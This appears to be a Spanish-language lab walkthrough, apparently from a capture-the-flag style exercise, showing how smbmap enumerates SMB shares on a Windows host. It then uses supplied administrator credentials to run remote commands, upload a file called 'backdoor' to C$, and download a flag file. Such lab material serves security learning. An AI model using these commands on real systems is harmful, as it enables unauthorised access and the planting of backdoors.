Es una herramienta que nos permite enumerar recursos, descargar y subir archivos, con unos credenciales Mas Ejemplos: EnumSMB_smbmap
Ejemplo
Fase de reconocimiento
La version de samba con la que vamos a trabajar es v1, por ello podemos hacer con el usuario guest
Obtenemos un Listado de directorios desde la raiz ”.\”
smbmap -u guest -p "" -d . -H 10.2.28.124
-u
: usuario-p
: password-d
: Nombre de dominio, por defecto: (WORKGROUP)-H
: Host
ahora probamos el mismo comando pero con los credenciales que nos ofrecen en el ejercicio
smbmap -u administrator -p "smbserver_771" -d . -H 10.2.22.113
ahora tenemos mas permisos como podemos observar.
smbmap nos permite ejecutar comandos desde samba vamos probar a hacer un ipconfig
de forma remota (ipconfig ya que sabes que estamos atacando una maquina windows)
smbmap -u administrator -p "smbserver_771" -d C -H 10.2.22.113 -x 'ipconfig'
vemos que la ip coincide tal y como esperábamos
otro script nos muestra los recursos compartidos disponibles, pero en este caso no nos devuelve un resultado.
smbmap -u administrator -p "smbserver_771" -d . -H 10.2.22.113 -L
Tambien podemos hacer uso de -r para listar los recursos pero esta vez de forma recursiva
smbmap -u administrator -p "smbserver_771" -d . -H 10.2.22.113 -r
si queremos hacerlo de de forma mas localizada podemos establer la unidad en este caso C$
smbmap -u administrator -p "smbserver_771" -d . -H 10.2.22.113 -r 'C$'
Fase de explotación
smbmap permite la subida de archivos, como tentemos credenciales con permisos de escritura, vamos a hacer uso de ello.
Creamos un archivo en nuestra maquina llamado “backdoor” y lo subimos
smbmap -u administrator -p "smbserver_771" -d . -H 10.2.22.113 --upload "./backdoor" 'C$/backdoor'
podemos comprobar que se ha subido usando el comando de antes -r 'C$'
También podemos bajar archivos, este caso bajaremos el archivo “Flag.txt”
con el comando
smbmap -u administrator -p "smbserver_771" -d . -H 10.2.22.113 --download "C$/flag.txt"